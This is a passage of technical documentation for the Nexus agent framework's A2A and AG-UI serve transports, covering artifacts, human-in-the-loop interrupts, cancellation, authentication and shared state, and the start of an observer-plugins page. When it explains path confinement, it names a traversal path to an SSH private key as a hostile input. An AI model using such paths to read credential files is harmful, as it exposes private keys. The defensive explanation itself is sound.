A2A puts task output in artifacts and conversation in messages (§3.7). Four things a Nexus turn produces are output by that reading:
| Artifact | Contents |
|---|---|
<taskId>-response | The answer as a text Part, plus an application/json Part when the answer is a JSON document. |
<taskId>-tool-<callId> | One per tool result: the output as text (or the error, flagged), plus a JSON Part when the tool produced structured output. |
<taskId>-file-<path> | One per file the turn wrote: the bytes inline as a base64 raw Part, with the filename and media type. |
<taskId>-artifacts-truncated | Only when the task spent its artifact budget: how many artifacts were withheld. |
Structured output is a document, not a string. When the final text parses as
a JSON object or array — one surrounding markdown fence is unwrapped first — a
second Part carries it as real application/json, so a client decodes rather
than re-parses. The text Part stays first, because it is what every A2A client
can render. When an llm.request declared a json_schema, the artifact’s
metadata names it under nexus.output.schema.
Tool results are artifacts unconditionally. There is no key to disable them. An interop transport whose observability depends on the operator having switched it on is one a partner cannot rely on; the volume that buys is answered by the caps below rather than by a flag.
A human-in-the-loop question is not an artifact. It rides the
INPUT_REQUIRED status message and the task’s message history — see
below. A request for input is not output,
and putting it in the output channel as well would count one event twice.
Files, and what is missed
A file is published only when a tool.result reports having written it:
through the engine’s ToolResult.OutputFile field (honoured for every tool), or
through a structured-output key named by artifacts.file_sources — whose default
rule is nexus.tool.fileio’s write_file reporting path.
Snapshot-diffing the session workspace is deliberately out of scope, so a write
by an uninstrumented path is missed by design. A shell command redirecting into
a file reports stdout, stderr and an exit code and nothing about the file, so
nothing is published for it — which is why nexus.tool.shell has no default rule
rather than a rule that cannot fire. An operator whose shell wrapper does
report a written path adds it to artifacts.file_sources.
Every reported path is resolved against artifacts.file_base_dir (the session’s
files/ directory unless configured) and confined to it, symlinks followed.
A path that escapes is dropped rather than clamped: a tool reporting
../../.ssh/id_rsa is either broken or hostile, and inlining what it named into
a response that leaves the process cannot be walked back.
The caps are load-bearing
Unconditional tool-result artifacts, times inline base64 file parts, times a disk-persisted store, is an unbounded product. Three caps make it bounded, and each one degrades rather than dropping silently:
| Cap | Default | Over it |
|---|---|---|
artifacts.max_file_bytes | 256 KiB | The file becomes a metadata note naming it, its size and the cap. |
artifacts.max_tool_output_bytes | 16 KiB | The text is truncated on a rune boundary with a note saying how much was shown. |
artifacts.max_task_bytes | 1 MiB | Further artifacts are suppressed and one notice artifact says how many. |
The store’s worst case is artifacts.max_task_bytes x tasks.max_per_context —
about 200 MiB at the shipped defaults. Full key documentation is in the
configuration
reference.
configuration.acceptedOutputModes is honoured rather than merely validated: a
request naming only text media types receives no JSON Part and no inline file
contents, though the files are still reported as notes so the client knows they
exist.
The Nexus extension
Thinking steps, tool calls, subagent progress and token counts have no canonical A2A field, so they ride the Nexus extension:
https://github.com/frankbardon/nexus/a2a/extensions/agent-events/v1
It is declared in the Agent Card under capabilities.extensions, never
required, and carried as TaskStatusUpdateEvent.metadata keyed by that URI.
The status those frames carry is the task’s current state rather than a
hard-coded WORKING, so a telemetry frame emitted while the task is parked does
not tell a client the task went back to work.
A client opts in per request with the A2A-Extensions service parameter, and the
response echoes back what was actually activated. A client that did not ask
receives a stream with no extension metadata on it at all — the point of an
opt-in is that it is honoured by not sending, not by the client filtering.
Telemetry is the one frame class that is not persisted. Storing it would put
a WORKING transition in the task’s status history for every thinking step, so
GetTask would replay a turn’s reasoning as state changes the task never made.
It is a live signal on an attached stream; the store records what the task is.
A task outlives the request that started it
A run is this listener’s single active task and is released when the task
reaches a terminal state, not when the HTTP request that started it returns —
and the release happens before the response reporting that terminal state is
written, on both the blocking and the streaming path. So a client that has read a
terminal Task may immediately send again on the same contextId without meeting
TASK_ALREADY_IN_FLIGHT. slot_test.go pins that ordering; the guide states the
contract and the client-visible reasoning behind it, including why a task parked
at INPUT_REQUIRED deliberately keeps the slot — see A terminal response means
the slot is already
back.
That one change is what makes the rest of this page possible. A client can
disconnect mid-turn without failing its own task — the turn carries on, GetTask
still answers, and SubscribeToTask reattaches to exactly where it got to. A
question can stay parked for as long as a human takes to answer it. And
configuration.returnImmediately is answerable: the call returns the task as it
stands and the client follows it by other means (streaming ignores the flag,
since a stream is already that follow-up).
The cost is that a turn nobody is watching holds the slot until something ends
it. CancelTask is that something, which is why the two landed together, and
why an unanswered question has a deadline.
A task left non-terminal by a process restart is settled at FAILED when the
store next opens, with a status message saying the agent stopped while it was
running. Nothing would ever move such a task again — no run drives it and no bus
event will name it — and retention only evicts terminal tasks, so leaving it as
found would mean an immortal row reporting WORKING for ever and counting
against the per-context cap.
Human-in-the-loop is INPUT_REQUIRED
When a Nexus agent asks a human something — nexus.control.hitl’s ask_user
tool, or any plugin emitting hitl.requested — the task parks:
hitl.requested ──▶ Task INPUT_REQUIRED, question on status.message
(stream stays open; state written through to the store)
SendMessage{taskId, contextId} ──▶ hitl.responded ──▶ Task WORKING
(same turn, no io.input)
The task stays live while parked. Open SSE streams stay open — §11.7’s close rule keys off terminal states and this is not one — because closing on a non-terminal state is indistinguishable client-side from a dropped connection. A parked stream is kept warm with SSE comment records so proxy idle timeouts do not kill it.
The client resumes by sending a new message carrying the same taskId and
contextId, which is A2A’s own resume mechanism (§3.4). The answer is routed
to hitl.responded and the task returns to WORKING inside the turn that
asked — no io.input is emitted and no second task is created. A
multiple-choice question renders its option ids into the question text, and an
answer matching one of them (case-insensitively) is delivered as that choice
rather than as free text.
Continuing a task is refused with UnsupportedOperationError when it is already
terminal, when the message names a different contextId than the task’s, or
when the task is not waiting for input. A taskId belonging to another
principal answers exactly as an unknown one does: TaskNotFoundError.
Because a parked task holds the process’s one agent loop, the wait is bounded by
tasks.input_timeout (default 15m). On expiry the task is driven to FAILED —
a real terminal transition, so the store, every attached subscriber and the
client all agree — and hitl.cancel retracts the question so the blocked agent
unblocks. "0s" disables the deadline; the consequence is a task that can stay
parked until the process exits.
A client must act on the INPUT_REQUIRED frame, not on the stream ending.
Holding the stream open is deliberate (above), so a client that waits for the
stream to end before reading it will wait until a deadline fires rather than
seeing the question. Nexus’s own outbound leg,
nexus.agent.a2a_remote,
stops reading on the interruption frame and resumes on a fresh connection, so it
chains a question at its default stream: true. The blocking SendMessage
binding is equally fine: it returns the parked Task as soon as it parks.
Cancelling a task
CancelTask (POST <rest_prefix>/tasks/{id}:cancel) settles the task at
TASK_STATE_CANCELED and then tells the bus, in that order:
hitl.cancel, if the task was parked on a question — otherwise the agent would stay blocked on an answer that is never coming.cancel.request, which is thecontrol.cancelcapability’s entry point. Cancellation is that plugin’s job for every transport; this one asks, exactly as the TUI and browser transports do.
Settling first is what keeps the stream contract intact: once the task is terminal every later frame is dropped, so nothing produced by the teardown can arrive after the frame that closed the stream.
Cancelling an already-terminal task is refused with TaskNotCancelableError
(HTTP 400 / FAILED_PRECONDITION) and writes nothing. Reporting success would
tell a client its cancel took effect on a task that had already completed and
whose output it is about to read.
contextId is the Nexus session
An A2A context is a conversation, and so is a Nexus session. They map onto each
other — but a Nexus process owns exactly one session, fixed at boot, with one
memory.history buffer and no bus primitive that starts a second session or
resets history. So:
- The first call claims the session. A client that names no
contextIdis assigned the session id and gets it back on the Task. - Later calls naming the same context continue the conversation, history intact.
- A different
contextIdis refused, naming the bound one. Accepting it would hand the caller a conversation already carrying another context’s history while calling it new, which is worse than an error. One instance per context is the answer, and the session broker exists to automate that.
The context is resolved before the in-flight slot is checked, so this refusal
(CONTEXT_NOT_SERVED, permanent) is never issued as TASK_ALREADY_IN_FLIGHT
(transient) merely because a task happened to be running, and a refused request
leaves no binding behind. The guide sets out which refusal a client gets and why
the difference
matters.
Configuration
The Configuration Reference is canonical for every key, its type and its default. A minimal working block:
plugins:
active:
- nexus.io.a2a
nexus.io.a2a:
bind: "127.0.0.1:8091"
bearer_token_env: NEXUS_A2A_TOKEN
artifacts:
# Every knob has a non-zero default; these are the shipped values.
max_file_bytes: 262144
max_tool_output_bytes: 16384
max_task_bytes: 1048576
card:
name: "Nexus Research Agent"
description: "Runs research turns with web search and file tools."
version: "1.2.0"
skills:
- id: research
name: "Research a topic"
description: "Searches the web and summarizes findings with citations."
tags: ["research", "search"]
Exactly one of card: (inline) or card_file: (a JSON Agent Card document on
disk, ~-expanded through engine.ExpandPath) is required. They are mutually
exclusive rather than merged: a card is a public contract, and a field-level
merge means the document an operator reads in one place is not the one that gets
served.
Three decisions worth knowing about
The card is half hand-authored, half derived
card: supplies identity, provider, modes and skills. Everything that
describes what the listener actually does — supportedInterfaces,
capabilities, securitySchemes, securityRequirements — is derived and
overwrites whatever the card source carried, card_file included. There are no
config keys for those, deliberately: a card naming a URL nothing is bound to, a
capability nothing implements, or a scheme nothing enforces is worse than no
card at all.
Skills in particular are not taken from nexus.skills or the tool catalog.
An internal catalog churns with every plugin an operator enables; a discovery
document that churned with it would leak internal structure and break clients
that keyed off it.
The card endpoint is public by default
Specification §8.2 makes the well-known URI a pre-authentication bootstrap step — a client fetches the card precisely to learn which credentials to obtain — so gating it behind those same credentials is circular. The card stays unauthenticated even when every operation is guarded.
That is safe because the listener binds loopback by default, and because the
card’s contents are hand-authored, so what it reveals is what an operator chose
to reveal. Move bind off loopback and still need the card private? Set
card_requires_auth: true and distribute the document out-of-band, which §8.2
sanctions as “Direct Configuration” — at the cost of being undiscoverable to
clients that have not already been told about you.
An absent A2A-Version header is read as 1.0, not 0.3
Specification §3.6.2 says an agent MUST read an empty A2A-Version as 0.3.
That rule protects clients that predate the parameter from an agent that
silently upgraded under them. This listener has never served 0.3 and its card
advertises 1.0 on every interface, so a header-less request is not a 0.3
client — there are none — it is a 1.0 client whose HTTP layer omitted a
header. Refusing it buys no compatibility and costs interop.
Every response therefore carries A2A-Version: 1.0 so the client can see what
it was processed as. Set strict_version_header: true to restore the literal
behaviour (useful for a conformance harness). An explicit A2A-Version: 0.3
is refused either way — the policy only governs absence.
Authentication
Two spellings, mutually exclusive, identical to nexus.io.agui:
bearer_token/bearer_token_env— one shared secret, desugared into a one-entrystaticvalidator (which makes the comparison constant-time).auth:— the fullpkg/nexusauthvalidator chain:static,jwks,introspect,proxy_headers.
Setting both is a boot error naming both keys. Setting neither disables
authentication entirely, which is safe only because the bind address defaults to
loopback — change bind and configure auth in the same commit.
The card’s securitySchemes are derived from the chain, so what a client is
told to present is what is enforced. Note that a proxy_headers validator
publishes no scheme: it accepts no client credential at all, only an
identity a trusted fronting proxy already established.
See Agent Card security schemes for the full mapping.
Trying it
bin/nexus -config configs/test-a2a-serve.yaml
That config’s
nexus.io.testblock carriestimeout: 20s, which ends the session — and the process — twenty seconds after boot. Raise it for a longer window to poke at the endpoint by hand.
# Discovery needs no credentials.
curl -s localhost:18191/.well-known/agent-card.json | jq
# Operations do. This one runs a turn and streams it.
curl -sN localhost:18191/a2a \
-H 'Authorization: Bearer test-a2a-token' \
-H 'A2A-Version: 1.0' \
-H 'Content-Type: application/a2a+json' \
-d '{"jsonrpc":"2.0","id":1,"method":"SendStreamingMessage","params":
{"message":{"messageId":"m1","role":"ROLE_USER",
"parts":[{"text":"hello"}],"contextId":"demo"}}}'
Each SSE record carries one StreamResponse: the opening Task in
TASK_STATE_SUBMITTED, a TASK_STATE_WORKING status update, an artifact
holding the reply, and the TASK_STATE_COMPLETED update that closes the stream.
Send the same contextId again to continue the conversation.
# List the tasks this token owns, then read one back.
curl -s 'localhost:18191/a2a/v1/tasks?pageSize=5' \
-H 'Authorization: Bearer test-a2a-token' -H 'A2A-Version: 1.0' | jq
curl -s localhost:18191/a2a/v1/tasks/<task-id> \
-H 'Authorization: Bearer test-a2a-token' -H 'A2A-Version: 1.0' | jq
Swap the method for CancelTask to see the UnsupportedOperationError
(-32004) the one unwired operation still returns, ask for a task id that does
not exist for the TaskNotFoundError (-32001), or drop the Authorization
header for the 401 and its RFC 6750 challenge.
See also
- A2A Interoperability guide — the protocol mapping, a worked end-to-end example, and what is deliberately unsupported
- Configuration Reference —
nexus.io.a2a - AG-UI transport — the structural sibling
- Authentication (
auth:)
AG-UI Serve Transport (nexus.io.agui)
nexus.io.agui exposes Nexus over the AG-UI protocol
(“Agent-User Interaction”), the open, event-based standard for connecting
streaming agents to user-facing applications. It stands up an HTTP listener so
that any standards-compliant AG-UI client — CopilotKit/React, the AG-UI
terminal client, or a framework integration (LangGraph, CrewAI, Pydantic AI,
Google ADK, Mastra, …) — can drive a Nexus agent with no Nexus-specific client
code.
This is a serve transport: it accepts AG-UI requests and streams AG-UI
responses. It is additive and external-facing — it does not replace the
nexus.io.browser / nexus.io.wails Envelope wire that backs the built-in web
and desktop UIs. See I/O Transport Plugins for the transport
family, and .claude/docs/io-transport.md for why AG-UI intentionally sits
outside the browser↔wails parity rule.
Details
| ID | nexus.io.agui |
| Dependencies | None |
| Wire format | AG-UI over HTTP + SSE (defined by pkg/agui, not the pkg/ui Envelope) |
| Endpoint | POST /agui (plus OPTIONS /agui for CORS preflight) |
| Spec version | v1 (docs.ag-ui.com, 2026-07-10) — pinned in pkg/agui as agui.SpecVersion |
The codec is hand-rolled in pkg/agui (no third-party SDK), matching the
raw-net/http, minimal-dependency house style. Because the spec is tracked
manually, the targeted version is pinned in one place (agui.SpecVersion) and
quoted above.
How it works
A client POSTs a RunAgentInput JSON body to /agui and receives a
text/event-stream (SSE) response carrying one run: a well-formed AG-UI
lifecycle from RUN_STARTED to RUN_FINISHED (or RUN_ERROR). The stream flushes
incrementally as bus events arrive — nothing is buffered until the end.
Inbound (client → bus). The request’s messages are mapped to a Nexus
io.input:
- The trailing
usermessage becomes the live turn content. - Any earlier messages ride as
PreloadMessages, so a resumed thread keeps its prior context. threadIdis recorded as the Nexus session id;runIdidentifies the turn.
io.input is published vetoably (before:io.input first); a veto ends the run
with RUN_ERROR.
Outbound (bus → client). The plugin subscribes to the same engine bus events as the browser transport and translates each into canonical AG-UI SSE. Bus handlers only enqueue translated events onto the active run’s channel; a single HTTP handler goroutine is the sole SSE writer, so the stream is race-free.
Event mapping
Nexus bus events map near-1:1 onto the canonical AG-UI event taxonomy. The
AG-UI wire type discriminator is UPPER_SNAKE_CASE (per the AG-UI protocol);
the values below are the exact strings emitted on the SSE stream:
| Nexus bus event | AG-UI event(s) | Notes |
|---|---|---|
| (run accepted) | RUN_STARTED | Emitted eagerly on accept so even an agent-less run is well-formed. threadId / runId echoed. |
agent.turn.start | STEP_STARTED | Each turn/iteration opens a step; the step name derives from TurnID. |
agent.turn.end | STEP_FINISHED, then RUN_FINISHED | A top-level turn end closes the open step and terminates the run/stream. |
llm.stream.chunk | TEXT_MESSAGE_START → TEXT_MESSAGE_CONTENT | TEXT_MESSAGE_START (role assistant) is emitted lazily on the first non-empty delta; subsequent deltas append content. |
llm.stream.end | TEXT_MESSAGE_END | Closes the open streamed text message. |
io.output | TEXT_MESSAGE_START → TEXT_MESSAGE_CONTENT → TEXT_MESSAGE_END | Self-contained triple. Skipped when the same content was already streamed via llm.stream.chunk; still rendered when a non-streaming provider (mock / batch) flags output streamed but emitted no chunks, so text is never dropped. |
tool.invoke | TOOL_CALL_START → TOOL_CALL_ARGS → TOOL_CALL_END | The agent emits tool.invoke (not tool.call) to run a tool. Arguments are fully resolved on the bus (not streamed), so the three events are emitted together; args are JSON-encoded. Internal sub-calls (non-empty ParentCallID) still render but never suspend the run. |
tool.result | TOOL_CALL_RESULT | Correlated to the call by toolCallId; Error content is surfaced in place of Output when present. |
thinking.step | REASONING_START → REASONING_MESSAGE_CONTENT | REASONING_START opens lazily on the first step; REASONING_END is emitted at turn end. |
| (failure / disconnect / veto / concurrent run) | RUN_ERROR | Terminal; ends the stream. |
Both RUN_FINISHED and RUN_ERROR are terminal — the SSE stream ends on either.
Non-canonical events: the CUSTOM superset
Nexus emits rich events that have no canonical AG-UI equivalent. Rather than
drop them, they ride the AG-UI CUSTOM event as a documented superset: the
Custom.name is the Nexus bus event type and Custom.value is the JSON-encoded
payload. Stock AG-UI clients that only understand canonical events can safely
ignore CUSTOM without losing the run’s canonical lifecycle; Nexus-aware
clients can opt in.
The bridged bus events are:
workflow.progresssubagent.startedsubagent.iterationsubagent.completecode.exec.stdout
AG-UI also defines a
RAWevent for passthrough of an upstream provider’s native event shape. Nexus-specific events useCUSTOM(name + JSON value) consistently;RAWis available inpkg/aguifor future passthrough needs.
Interrupts: HITL and client-executed tools
AG-UI uses a terminal-run model for anything that needs input mid-run: the
run ends with an interrupt outcome and the client starts a continuation run
carrying resume[]. Nexus emulates this as virtual runs over one persistent
in-process session — the agent stays parked in-process and a continuation POST
unblocks it.
One Nexus turn spans multiple AG-UI runs
The load-bearing consequence of the terminal-run model is that a single Nexus turn can span several AG-UI runs. When an agent needs input, the current run ends — but the Nexus session (and the parked agent) stays alive. Each subsequent resume opens a new run over the same thread until the turn finally completes:
POST /agui { threadId: T, runId: R1, messages:[…] } ← run 1 begins the turn
… RUN_STARTED … STEP_STARTED … (agent calls ask_user) …
… STATE_SNAPSHOT … MESSAGES_SNAPSHOT … RUN_FINISHED(interrupt) ← run 1 ends, agent PARKED
POST /agui { threadId: T, runId: R2, resume:[…] } ← run 2 continues the SAME turn
… RUN_STARTED … (agent unblocks, finishes) … RUN_FINISHED ← turn complete
The threadId is identical across the runs; each continuation uses a fresh
runId. No messages are needed on a resume — the resume[] items are the
payload the server correlates back to its pending interrupt(s). Because the
session is persistent and in-process, a threadId must route to the same
Nexus instance across its runs (see threadId / runId semantics below).
Two flows ride the identical suspend/resume machinery:
- Human-in-the-loop (HITL). A
hitl.requestedduring a run (e.g. the agent calling theask_usertool) emits aSTATE_SNAPSHOT+MESSAGES_SNAPSHOTthenRUN_FINISHED(interrupt); the resume emitshitl.respondedto unblock the waiter. - Client-executed (frontend) tools. Tools the client advertises via
RunAgentInput.toolsare surfaced to the agent (the plugin appends them to the synchronoustool.catalog.querysnapshot, scoped to exactly the advertising run — they never leak into later runs or shadow a same-named server tool). When the agent calls one, itstool.invokestreams theTOOL_CALL_START/ARGS/ENDsequence and then the run ends interrupt-style: there is no in-process handler to produce atool.result, so the client runs the tool and resumes with a tool result. The plugin feeds that result back to the parked agent as thetool.resultit was waiting on, and the continuation streams on a fresh run.
A server-side Nexus catalog tool is never intercepted: its own handler runs
inline and produces the tool.result that streams as a normal TOOL_CALL_RESULT.
Client tools are distinguished purely by origin (they came from
RunAgentInput.tools).
The interrupt anchor
RUN_FINISHED(interrupt) carries an Interrupt payload in its result field.
The client renders it and echoes its interruptId in the resume. It provides:
| Field | Meaning |
|---|---|
interruptId | The anchor the client echoes back in resume[].interruptId. Distinct from any internal request id. |
prompt | The rendered question/approval text (HITL) or a client-tool hint. |
mode | free_text, choices, or both — controls the response affordance. |
choices / defaultChoiceId | The options (and deadline default) for a choices/both interrupt. |
The interrupt kind (HITL vs client tool) is also mirrored in the STATE_SNAPSHOT
under an interrupt (HITL) or toolCall (client tool) anchor, so a client that
restores from state alone — rather than replaying MESSAGES_SNAPSHOT — still has
everything it needs to resume.
The resume[] wire shape
Each resume[] item names an interruptId, a status, and an optional
payload. The payload fields depend on the interrupt kind:
status | Interrupt kind | payload fields | Effect |
|---|---|---|---|
resolved | HITL | choiceId, freeText, editedPayload | Answers the prompt. A choices-only interrupt drops stray freeText. All fields optional; an empty payload accepts the default. |
resolved | client tool | output, error | Becomes the parked agent’s tool.result. Empty resolves the call with empty output (the agent still advances). |
cancelled | either | (none) | Abandons the interrupt: a HITL waiter unblocks as cancelled; a client-tool call resolves with an error tool.result so the agent’s loop still advances. |
// HITL resume: pick a choice.
{ "threadId":"T", "runId":"R2",
"resume":[ { "interruptId":"int-…", "status":"resolved",
"payload": { "choiceId":"staging" } } ] }
// Client-tool resume: return the tool's output.
{ "threadId":"T", "runId":"R2",
"resume":[ { "interruptId":"int-…", "status":"resolved",
"payload": { "output":"sunny, 24C" } } ] }
// Cancel either kind.
{ "threadId":"T", "runId":"R2",
"resume":[ { "interruptId":"int-…", "status":"cancelled" } ] }
As AG-UI requires, all open interrupts on a thread must be addressed in one
resume request: a resume that references an unknown/expired interrupt, addresses
one twice, or leaves an open interrupt unaddressed is rejected with a clean
terminal RUN_ERROR stream and leaves the parked agent untouched for a corrected
retry.
The reusable pure-Go conformance client (pkg/agui/aguiclient) provides
constructors for these payloads — ResumeInput, ResolveChoice, ResolveText,
ResolveToolResult, and Cancel — plus Result.Interrupt() to extract the
anchor from a RUN_FINISHED(interrupt). The end-to-end interrupt/resume and
client-tool round-trips are exercised in
tests/integration/agui_hitl_test.go.
threadId / runId semantics
threadId↔ Nexus session. ThethreadIdis recorded as the session id on the inboundio.input. Because the serving session is persistent and lives in-process, athreadIdmust route to the same Nexus instance across runs — the terminal-run/resume model is emulated as virtual runs over one live session, not by reconnecting to a stateless backend.runId↔ Nexus turn. EachPOSTis one run == one turn. Message ids in the outbound stream are derived deterministically from therunIdso a client can correlate streamed text, tool calls, and results within the run.
Concurrency and scope
One in-flight run per listener (single engine/session per listener, mirroring
nexus.io.browser). A second POST while a run is active receives a terminal
RUN_STARTED + RUN_ERROR stream rather than interleaving into the live run. On
client disconnect or engine shutdown, the active run fails with RUN_ERROR and
its handler returns promptly, releasing the slot.
Exposure, auth, and CORS
Safe by default: the listener binds loopback (127.0.0.1:8090) so the
endpoint is never network-exposed without an explicit operator opt-in.
- Bearer auth is enforced only when a non-empty token is resolved. An inline
bearer_tokentakes precedence; otherwisebearer_token_envnames an environment variable to read it from. When set, every request must carryAuthorization: Bearer <token>. - Identity providers — an optional
auth:block configures the fullpkg/nexusauthvalidator chain (static,jwks,introspect,proxy_headers) instead of a single shared token. - CORS is off by default (same-origin only).
cors_originsaccepts a YAML list (or comma-separated string); a single*echoes any requestOrigin, while an explicit list echoes only matching origins.OPTIONS /aguianswers preflight for browser AG-UI clients.
Configuration
The canonical, always-current key list lives in the Configuration Reference. The keys are summarized here for convenience:
| Key | Type | Default | Description |
|---|---|---|---|
bind | string | 127.0.0.1:8090 | host:port the HTTP listener binds to. Loopback by default. |
bearer_token | string | (empty) | Inline bearer token. Takes precedence over bearer_token_env. Mutually exclusive with auth. |
bearer_token_env | string | (empty) | Env var name to read the bearer token from (used only when bearer_token is empty). Mutually exclusive with auth. |
auth | map | (absent) | Validator-chain block, parsed by the same pkg/nexusauth parser the session broker uses. See Authentication below. |
cors_origins | string or list<string> | (empty) | Allowed CORS origins. * echoes any Origin; a list echoes only matches; empty means same-origin only. Accepts a YAML list or a single comma-separated string. |
emit_state | bool | false | Opt-in AG-UI shared-state emission: mirror the scene store as a shared-state document and emit STATE_SNAPSHOT/STATE_DELTA on the run stream. See Shared state below. |
The block is validated against plugins/io/agui/schema.json before Init
runs, with additionalProperties: false at every level including inside
auth: and inside each validators[] entry. An unknown key aborts the boot and
names the offender — a misspelled auth key that was silently ignored would mean
an unauthenticated listener with no warning.
Authentication (auth:)
The transport authenticates through the shared identity layer, pkg/nexusauth —
the same validator chain cmd/nexus-broker uses. Pointing both hosts at one
parser is what makes OIDC available here without any AG-UI-specific
identity code.
Two spellings are accepted, and they are mutually exclusive:
bearer_token/bearer_token_env— one shared secret. Unchanged, not deprecated, and still the right amount of configuration for a loopback listener fronting one developer’s UI. It is desugared into a one-entrystaticvalidator; the only visible difference is that the token comparison is now constant-time.auth:— the full validator chain:static(a token table),jwks(OIDC JWTs verified against the issuer’s published keys),introspect(opaque tokens verified via RFC 7662), andproxy_headers(an identity a fronting authenticating proxy already established). Validators are tried in the order listed and the first one that accepts wins, so cheap validators belong first.
Setting both fails the boot with an error naming both keys. That is a
deliberate choice over a precedence rule: two sources for one security decision
means one of them is stale. (bearer_token together with bearer_token_env
remains legal, with its original precedence — inline first, then the environment
variable.)
Setting neither disables authentication and admits every request, exactly as
before. That is only safe because the listener binds loopback; if you change
bind, configure auth in the same change.
plugins:
nexus.io.agui:
bind: "0.0.0.0:8090"
auth:
validators:
- type: jwks
issuer: "https://id.example.com/"
jwks_url: "https://id.example.com/.well-known/jwks.json"
audience: "nexus-agui"
principal_claim: sub
scopes_claim: scope
Every validator key, default and validation rule is documented once in the
Configuration Reference.
The one difference from the broker is that admin_scope is broker-only and is
rejected here as an unknown key; unknown keys are rejected at every level in both
hosts.
What is gated: POST /agui, and nothing else. OPTIONS /agui stays
unauthenticated — a browser never attaches Authorization to a CORS preflight.
CORS headers are written before the auth check, so a browser can read a 401
rather than seeing an opaque network error.
Refusals: 401 with a WWW-Authenticate: Bearer realm="nexus-agui"
challenge (plus error="invalid_token" when a credential was presented and
rejected), 403 with error="insufficient_scope", and 503 with a
Retry-After when a validator could not reach a verdict — an identity-provider
outage must not read to a client as “re-authenticate”. See the
status mapping table.
Principal: the resolved identity is recorded on the agui run started log
record as principal_id (empty when auth is disabled). It is also bound into
the session’s tag store: startRun/resumeRun write it as the reserved
_principal_id session label before the run’s io.input (or, on resume,
hitl.responded) is emitted, and endRun clears it. Every run/resume re-binds
fresh from that request’s own resolved principal — a resumed thread under a
different principal gets a new bind, never a stale one. This is a pure
observability seam: one listener still serves a single session and one run at
a time, so nothing in this transport itself keys behaviour on the bound
identity. An external consumer (e.g. an embedder’s own authorization layer)
subscribes to session.tag.set / session.tag.deleted to observe the bind
and the clear. See Session Tags
for the tag store itself.
Business context: each RunAgentInput.context item (description /
value) is written directly as a general-namespace session tag
(description -> key, value -> value) at the same points, with no veto —
this is already-authenticated, already-decoded input. A client cannot use
this to write the reserved _principal_id key: the reserved prefix (_) is
enforced at the tag store regardless of caller, so a context item whose
description starts with _ is rejected rather than silently overwriting
the bound identity.
Shared state
With emit_state: true, the transport mirrors the session’s scene store
(nexus.scene) as the AG-UI shared state document so a frontend can render
and track agent state. The mapping is:
- The scene store emits
scene.created/scene.patched/scene.deletedon the bus, each carrying the scene’s full post-mutation content. The transport tracks these into a document keyed byscene_id(value = the scene’s current content). It never calls the scene plugin directly — the bus events are the sole input. - On run start, a
STATE_SNAPSHOTof the current document is emitted right afterRUN_STARTED. - Each scene mutation during the run emits a
STATE_DELTAwhosedeltais an RFC 6902 JSON Patch from the previous document to the new one. TheSTATE_SNAPSHOTalways precedes anySTATE_DELTAon the stream, and applying the deltas in order to the snapshot reconstructs the state (verified end to end by theTestAGUIState_*integration tests as well as thepkg/aguiunit tests). This aligns AG-UI’sSTATE_DELTAwith the scene store’s patch model while normalizing the scene store’s shallow-merge semantics into a valid JSON Patch computed from full content.
The document is session-scoped and persists across runs on the listener, so a later run’s snapshot reflects scenes created by an earlier run.
Inbound state (client → agent)
A client may send a shared-state document on RunAgentInput.state to seed or
edit state the agent then observes. The document uses the same scene-keyed
shape the transport emits outbound: a JSON object whose keys are scene_ids
and whose values are that scene’s content.
- Inbound state is applied at run start (and on a resume/continuation run)
before the initial
STATE_SNAPSHOTis emitted, so the snapshot reflects the client’s view and the agent’s first turn observes it. - To make a client write real (not just a mirror update), each
scene_id → contententry is pushed into the scene store via a bus-emittedscene_createtool.invokecarrying an explicitscene_id. The scene plugin creates the scene under that id, or shallow-merges the content as a patch when the scene already exists (client edits a scene the agent created preserve keys the client did not send). The agent then reads the seeded state through the normalscene_get/scene_listtools. No direct plugin-to-plugin call is made — the bus is the only channel. - A non-object state document (or otherwise malformed) is logged and skipped; it
never fails the run. Inbound state is a no-op when
emit_stateis off.
Conflict / ordering semantics — client-state-seeds-then-agent-wins. The
client seed is fully applied before the run’s io.input is emitted, so the agent
always starts from the seeded state. For the rest of the run, agent-side scene
mutations are last-writer over the same scene_id: a later scene_patch
overwrites the client’s value per the scene store’s shallow-merge semantics, and
that change flows back out as a STATE_DELTA (completing the round-trip). The
transport’s stateMu and the scene store’s own lock serialize concurrent client
and agent mutations, so ordering is deterministic (client seed first, then agent
writes in bus order) and no half-applied document is ever observed.
Because the mirror is seeded to the same value the scene store echoes back, the
seed itself produces no STATE_DELTA — only genuine agent mutations do. The
TestAGUIState_InboundSeedObserved and TestAGUIState_ConflictAgentWins
integration tests exercise this round-trip: the client seed appears in the
initial STATE_SNAPSHOT and is read back through scene_get, and a subsequent
agent scene_patch on the same scene_id wins on the overlapping key (with the
client’s untouched keys preserved by shallow-merge) and surfaces as exactly one
STATE_DELTA.
The scene_create tool accepts an optional scene_id argument to support this
seeding; when omitted the store assigns an id as before, so existing agent usage
is unchanged.
Example configuration
plugins:
nexus.io.agui:
bind: "127.0.0.1:8090"
bearer_token_env: "AGUI_BEARER_TOKEN"
cors_origins:
- "https://app.example.com"
For an OIDC deployment, replace bearer_token_env with an
auth: block — the two are mutually exclusive.
See also
- Configuration Reference —
nexus.io.agui— canonical config keys. - I/O Transport Plugins — the transport family.
- Browser UI — the session-scoped Envelope transport AG-UI mirrors for scope/exposure.
Observer Plugins
Observers watch system activity without affecting behavior. They’re useful for debugging, auditing, and persisting reasoning traces.
Available Observers
| Plugin | ID | Purpose |
|---|---|---|
| Thinking Persistence | nexus.observe.thinking | Persists thinking steps and plan progress |
| OpenTelemetry | nexus.observe.otel | Exports events as OTel traces via OTLP |
The legacy
nexus.observe.loggerplugin was removed in #66 / Phase 3. Itsevents.jsonlrole is now subsumed by the always-on engine journal at<session>/journal/events.jsonl. External tooling that previously tailed the logger’s events.jsonl can tail the journal instead.
Thinking Observer
Marker observer for thinking.step and plan.progress events. The
plugin no longer writes derived JSONL files — the per-session
journal is the single source of
truth for both event types, alongside every other event on the bus.
When this plugin is in plugins.active, terminal and browser shells
turn on thinking-related UI affordances (e.g. dedicated “thinking”
message styling). Without it, the events still flow on the bus and
land in the journal — only the optional UI surface differs.
Details
| ID | nexus.observe.thinking |
| Dependencies | None |
Configuration
No configuration options.
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
thinking.step | 90 | Marker subscription (no side effects) |
plan.progress | 90 | Marker subscription (no side effects) |
Emits
None.
Reading the thinking history
Thinking steps and plan progress live in
<session>/journal/active.jsonl (and rotated *.jsonl.zst segments)
exactly like every other event. Two ways to consume them:
- Live, in-process: subscribe to envelopes via
